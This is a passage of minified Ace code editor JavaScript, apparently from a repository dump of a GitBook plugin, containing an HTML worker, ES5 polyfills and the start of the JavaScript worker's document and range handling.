supported\")},r.cwd=function(){return\"/\"},r.chdir=function(e){throw new Error(\"process.chdir is not supported\")}},{}],19:[function(e,t,n){t.exports=e(14)},{}],20:[function(e,t,n){t.exports=e(15)},{\"./support/isBuffer\":19,\"/usr/local/lib/node_modules/browserify/node_modules/insert-module-globals/node_modules/process/browser.js\":18,inherits:17}]},{},[9])(9)}),define(\"ace/mode/html_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/worker/mirror\",\"ace/mode/html/saxparser\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"../worker/mirror\").Mirror,o=e(\"./html/saxparser\").SAXParser,u={\"expected-doctype-but-got-start-tag\":\"info\",\"expected-doctype-but-got-chars\":\"info\",\"non-html-root\":\"info\"},a=t.Worker=function(e){s.call(this,e),this.setTimeout(400),this.context=null};r.inherits(a,s),function(){this.setOptions=function(e){this.context=e.context},this.onUpdate=function(){var e=this.doc.getValue();if(!e)return;var t=new o,n=[],r=function(){};t.contentHandler={startDocument:r,endDocument:r,startElement:r,endElement:r,characters:r},t.errorHandler={error:function(e,t,r){n.push({row:t.line,column:t.column,text:e,type:u[r]||\"error\"})}},this.context?t.parseFragment(e,this.context):t.parse(e),this.sender.emit(\"error\",n)}}.call(a.prototype)}),define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/worker-javascript.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console||(e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console),e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){e instanceof o||(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var 